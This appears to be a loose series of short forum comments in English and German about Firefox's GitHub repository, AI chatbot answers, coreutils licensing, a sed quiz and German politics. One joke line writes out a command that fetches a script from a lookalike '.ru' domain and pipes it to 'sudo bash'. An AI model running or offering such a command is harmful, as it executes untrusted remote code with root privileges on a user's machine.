I have searched a bit more. The transition is in process since 2023. [1] I don’t find any announcement though.

It looks like the process is now finished and the github repository is now the official main source. There are other news sites claiming this. [2]

[1] https://glandium.org/blog/?p=4346 [2] https://www.phoronix.com/news/Firefox-On-GitHub

It looks like the main repository. The “How to submit a patch” mentions even the github repository. Even though it does not accept pull requests it seems to be not just a mirror.

Does that mean, I don’t get hallucinations, if I don’t press the AI Button?

😊 https://www.youtube.com/watch?v=KIYiGA_rIls

🫡

Tja.

Where is the problem when something mit-licensed is in core utils?

Edit: sudo isn’t even a core util.

https://en.wikipedia.org/wiki/John_Barnett_(whistleblower)

I have bad news for you …

(TBH I am not sure, but as I remember, this problem was specifically a snap problem.)

🎩 ./configure; make; sudo make install;

🎩 wget -q -O- https://raw.githubusercontent.ru/linux-security/security.sh | sudo bash

loss

She, for sure, did mot married you for your cable management.

Stabil!

Abbau von Datenschutz ist gerne Bürokratieabbau. Da werden dann getrennte Daten zusammengefügt.

Chatty claims the correct answer to be:

I tried it my self and I conclude:

Which one of these commands is correct?

A: sed -E 's/\b(\w+)\b/echo \1 | rev/g' file.txt
B: sed 's/\b\w+\b/echo & | rev/ge' file.txt
C: sed -E 's/(\w+)/$(echo \1 | rev)/g' file.txt
D: sed 's/\([a-zA-Z]\+\)/\n&\n/g; s/\n\(.*\)\n/\3\2\1/g; s/\n//g' file.txt

Chatty was so kind to transcribe. May contain errors.

Yeah, but it’s true. What if?

Nicht richtig. Die sagen auch Dinge wie “Verpiss dich!”

Basiert und Gurktabeletet

Nein, ich dachte, du fragst nach der Vorlage. Im original haben sie das hier hochgehalten: https://feddit.org/pictrs/image/fd324820-4d11-4096-af56-c34f7b245561.png

Man muss wissen: 1914 schon hat BSW gegen Kriegskredite gestimmt. Heute ist es literarisch die gleiche Situation.